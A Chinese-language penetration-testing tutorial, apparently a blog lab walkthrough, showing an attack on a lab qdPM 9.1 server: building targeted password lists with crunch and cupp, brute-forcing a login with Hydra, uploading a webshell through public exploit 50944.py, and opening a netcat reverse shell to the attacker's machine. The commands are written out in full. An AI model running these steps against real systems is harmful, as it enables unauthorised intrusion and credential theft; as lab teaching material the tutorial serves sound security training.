**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉 晖度丨安全视界 🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点 ➢ 查找漏洞的公共利用 ➢ 漏洞利用实操案例🔥🔥🔥
▶ 权限提升
▶ 横向移动
▶ 报告/分析
▶ 教训/修复
目录
[1.4 漏洞利用实操案例](#1.4 漏洞利用实操案例)
[1.4.4 破解登录凭证](#1.4.4 破解登录凭证)
[1.4.4.1 密码攻击流程](#1.4.4.1 密码攻击流程)
[1.4.4.2 关键步骤详解](#1.4.4.2 关键步骤详解)
[1.4.4.3 攻击成果](#1.4.4.3 攻击成果)
[1.4.5 使用漏洞利用程序获取Webshell控制权](#1.4.5 使用漏洞利用程序获取Webshell控制权)
[1.4.5.1 漏洞利用执行流程](#1.4.5.1 漏洞利用执行流程)
[1.4.5.2 关键步骤详解](#1.4.5.2 关键步骤详解)
[1.4.5.3 技术成果总结](#1.4.5.3 技术成果总结)
[1.4.6 通过Webshell获取反向Shell](#1.4.6 通过Webshell获取反向Shell)
[1.4.6.1 反向Shell建立流程](#1.4.6.1 反向Shell建立流程)
[1.4.6.2 关键步骤详解](#1.4.6.2 关键步骤详解)
[1.4.6.3 技术成果总结](#1.4.6.3 技术成果总结)
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
接前文。
1.查找漏洞公共利用
漏洞利用(Exploit) :一个能够利用目标系统缺陷或漏洞的程序或脚本,查找这种脚本并利用。
1.4 漏洞利用实操案例
本次演示旨在通过一个结构化的渗透测试工作流程,利用一个已知的公开漏洞来攻陷一台专用的Linux服务器。
核心目标: 完全利用并控制目标服务器(IP: 192.168.50.10)。
攻击流程(重要):
-
信息收集与枚举:
-
首先对目标系统
192.168.50.10进行基本的网络枚举,以识别开放的端口、运行的服务以及可能存在的脆弱应用程序。 -
注:为了简洁,部分常规枚举步骤被省略。
-
-
漏洞发现与分析:
-
基于枚举结果,分析目标系统上托管的应用程序,并发现其中存在一个易受公开利用的漏洞。
-
随后,主动搜索并找到适用于该特定漏洞的公开漏洞利用代码。
-
-
漏洞利用与初始访问:
-
执行找到的公开漏洞利用代码,针对目标应用程序发起攻击。
-
攻击成功后在目标主机 (
192.168.50.10) 上获得了一个有限的 Shell 访问权限,这标志着成功实现了远程代码执行,建立了初步的立足点。
-
-
后续利用:
- 获得初始 Shell 后,标准的渗透测试流程会进一步进行权限提升 和权限维持 ,直到完全控制目标机器,获得持续的交互式控制。
1.4.4 破解登录凭证
在确认漏洞利用需要有效的密码凭据后,我们转向密码攻击。本节详细描述了如何利用前期收集的信息,通过生成和优化密码字典,最终成功爆破出登录账号的全过程。
1.4.4.1 密码攻击流程
下图清晰地展示了从信息收集到成功破解的完整工作流:

1.4.4.2 关键步骤详解
利用刚刚在**"About Us**"页面上看到的四个电子邮件地址作为账户,并使用密码字典攻击来尝试。
-
生成基础密码字典
-
目标:创建一个覆盖面广的基础密码列表。
-
工具 :使用
Crunch。 -
命令与参数:
bash$ crunch 8 10 -o password_list.txt -t @@%% -f /usr/share/cracklib/cracklib-small -
解读 :生成长度8-10位,格式为"小写字母+小写字母+数字+数字 "(如
ab12)的密码组合。具体密码规则 如下:*(**注:*密码规则需要另行了解到!)参数 值 说明 8 10指定生成密码的长度范围,从最短8个字符到最长10个字符。 -opassword_list.txt指定输出文件 的名称。生成的密码列表将被保存到 password_list.txt文件中。-t@@%%指定生成密码的格式模式(Pattern) 。 • @代表一个小写字母 •%代表一个数字 因此,@@%%表示一个由【两个小写字母 + 两个数字 】组成的模式(例如:ab12,xy89)。-f/usr/share/cracklib/cracklib-small指定使用的字符集文件 。此参数告诉 crunch使用 Kali Linux 系统中预置的cracklib-small文件作为字符集来源,该文件包含了一个常用的、经过优化的英文字符列表。
-
-
优化字典以增加复杂性
-
目标:使基础密码字典(password_list.txt)更智能、更具针对性,提高破解成功率。
-
方法:
-
技巧性修改 :在基础字典上添加符号、大小写变换、常见词语拼接等。
-
社会工程学 :以基础密码字典password_list.txt为基本,使用
CUpp -i工具扩容密码字典。过程中,它提示你输入目标的姓名、生日等个人信息,生成高度相关的个性化密码字典。bash$ cupp -i -w password_list.txt -
结果反馈示例:
bash___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/] [+] Insert the information about the victim to make a dictionary [+] Found existing wordlist: password_list.txt [+] I will use it as base and extend it with personal info > First Name: george > Surname: devlin > Nickname: geo > Birthdate (DDMMYYYY): 12081985 > Partner's name: sarah > Partner's nickname: sar > Partner's birthdate (DDMMYYYY): 05121988 > Company name: AIDevCorp > Do you want to add some key words about the victim? Y/[N]: y > Please enter the words: ai,developer,project > Do you want to add special chars at the end of words? Y/[N]: y > Do you want to add some random numbers at the end of words? Y/[N]: y > Leet mode? (i.e. leet = 1337) Y/[N]: y [+] Now extending the existing dictionary with personal information... [+] Sorting list and removing duplicates... [+] Saving extended dictionary to george.txt, counting 8924 words.
生成字典示例:
形如以下变形的个性化字典:
pass123george pass123geo pass123AIDevCorp pass1231208 pass1231985p@ss123 p@ss123george p@ssw0rd p@ssw0rdAIDevCorp @dm1n @dm1ngeopass123! georgepass123 AIDevCorp2023 geo1208 developer85输出增强的字典文件: george.txt,包含了8924个密码。为了规整,把george.txt重命名回password_list.txt 。

-
-
-
实施暴力破解攻击
-
目标:使用字典password_list.txt对目标登录门户发起自动化攻击。
-
工具 :使用
Hydra。 -
命令与参数:
bash$ hydra -l george@AIDevCorp.org -P password_list.txt http://192.168.50.10/project -t 4 http-get该命令指示Hydra使用字典password_list.txt中的密码对指定URL尝试以该用户名登录,实际中,轮流使用**"About Us**"页面上看到的四个电子邮件地址作为账户进行破解。
参数 示例值 说明 -l username指定单个用户名进行破解。 -P password_list.txt指定密码字典文件的路径,Hydra 将读取该文件中的密码进行尝试。 目标URL http://192.168.50.10/project指定攻击目标的网站地址或IP。 -t 4线程数,同时进行破解的连接数,提高破解速度。 方法 http-get指定HTTP请求方法,这使用GET请求来尝试登录。
-
1.4.4.3 攻击成果
经过一系列的字典生成与爆破攻击,最终成功获取了有效的系统凭证
| 字段 | 有效凭证 |
|---|---|
| 用户名 | george@AIDevCorp.org |
| 密码 | AIDevCorp |
**然后登录系统:**http://192.168.50.10/project

登录后, 可以枚举项目管理系统的任务、项目和一些配置。因为我们刚刚找到了一个需要有效凭据的漏洞,现在我们可以针对目标执行该漏洞利用:50944.py。

1.4.5 使用漏洞利用程序获取Webshell控制权
在获得有效凭证后,我们开始执行针对qdPM 9.1的漏洞利用程序,在目标系统上部署Webshell,并验证远程代码执行能力。
1.4.5.1 漏洞利用执行流程

1.4.5.2 关键步骤详解
-
准备漏洞利用
- 使用
searchsploit工具将公开的漏洞利用代码 50944.py 复制到当前工作目录。

- 使用
-
执行漏洞利用
-
再次详细阅读50944.py代码。运行漏洞利用程序,按照格式要求提供必要的参数:
bash$ python3 50944.py -url http://192.168.50.10/project/ -u george@AIDevCorp.org -p AIDevCorp注:
①
authenticity_token是 脚本自动从登录页提取,再自动填充到登录请求中 的,无需你手动输入或修改;②脚本的代码要详细阅读,形如以下内容,说明如何正确传入的参数:
-url:目标qdPM系统的URL地址-u:有效的用户名(邮箱格式)-p:对应的密码

-
-
处理执行反馈
-
漏洞利用执行后返回错误提示:"您无法使用指定的管理员帐户,因为它们没有我的帐户页面。"

**!!!注意:**因实验环境IP地址漂移,这里的目标主机192.168.50.11就是前文的目标主机192.168.50.10。后续一样,特此说明。 -
关键发现:尽管有错误提示,但侧面证明命令已正确执行并与目标系统交互。
-
-
分析利用机制
-
再次审查 50944.py 源代码,发现漏洞利用:

-
将命令Webshell 上传到特定目录:
/projects/uploads/users/ -
文件名称为:420919-backdoor.php
-
通过
cmd参数执行系统命令

-
-
-
验证远程代码执行
-
使用
curl命令验证Webshell功能:

-
执行结果 :返回
www-data,确认:-
Webshell已成功部署
-
具备在目标系统上执行命令的能力
-
当前权限为Web服务用户(www-data),这个是一个低权限用户。
-
-
1.4.5.3 技术成果总结
| 项目 | 成果 |
|---|---|
| 漏洞利用状态 | ✅ 成功执行 |
| Webshell位置 | /projects/uploads/users/420919-backdoor.php |
| 访问方法 | ?cmd=命令 参数 |
| 当前权限 | www-data(Web服务用户) |
| 攻击进展 | 获得初始立足点,具备远程命令执行能力 |
至此,我们已成功突破目标系统边界,获得了有限的命令执行权限。
下一步将围绕权限提升 和持久化控制 展开,以完成对目标的完全控制。
1.4.6 通过Webshell获取反向Shell
在获得基本的命令执行能力后,我们进一步升级攻击,通过Webshell建立反向Shell连接,获得一个交互式的系统控制权限。
1.4.6.1 反向Shell建立流程

1.4.6.2 关键步骤详解
-
环境侦察:检查目标机器上是否安装Netcat
-
使用URL编码方式通过Webshell执行命令,检查目标系统是否安装netcat:
可以使用**--data-urlencode选项**自动URL编码我们的参数。
bash$ curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=which nc" -
结果确认 :目标系统已安装netcat,为建立反向Shell创造了条件。
-
-
准备接收端:在Kali上启动监听
-
在攻击者机器(Kali,IP:
192.168.50.129)上开启netcat监听器:bash$ nc -nlvp 6666
-
-
触发反向连接:通过Webshell执行攻击
-
在攻击者机器kali的另一个终端中,通过Webshell触发反向连接:
bash$ curl http://192.168.50.11/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=nc -nv 192.168.50.129 6666 -e /bin/bash" -
命令解析:
部分 功能 nc -nv启动netcat,不解析DNS,详细输出 192.168.50.129 6666连接回攻击者的IP和端口 -e /bin/bash关键参数:将bash shell绑定到网络连接
-
-
建立控制通道:获得交互式Shell
-
切换回kali的netcat监听终端,观察连接状态:

-
显示成功连接消息
-
获得交互式命令行提示符
-
通过
whoami命令确认当前用户为www-data
-
-
1.4.6.3 技术成果总结
| 阶段 | 成果 | 意义 |
|---|---|---|
| 环境验证 | ✅ Netcat可用 | 确认具备建立反向Shell的基础条件 |
| 监听准备 | ✅ Kali端口监听就绪 | 建立攻击接收端 |
| 连接触发 | ✅ 反向Shell命令执行 | 通过Webshell触发出站连接 |
| 控制建立 | ✅ 获得交互式Shell | 攻击升级:从简单命令执行到完全交互控制 |
攻击影响评估
-
权限级别 :获得了
www-data用户的Shell访问权限 -
控制能力 :从简单的单次命令执行升级为持续的交互式控制
-
网络位置 :成功建立了从目标内网到攻击者机器的持久控制通道
-
后续可能 :为权限提升 和横向移动攻击奠定了基础
🎯 攻击里程碑:至此,我们成功在目标系统上建立了稳固的初始访问权限,攻击链的第一阶段圆满完成!
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。感谢阅读,下一篇文章见。
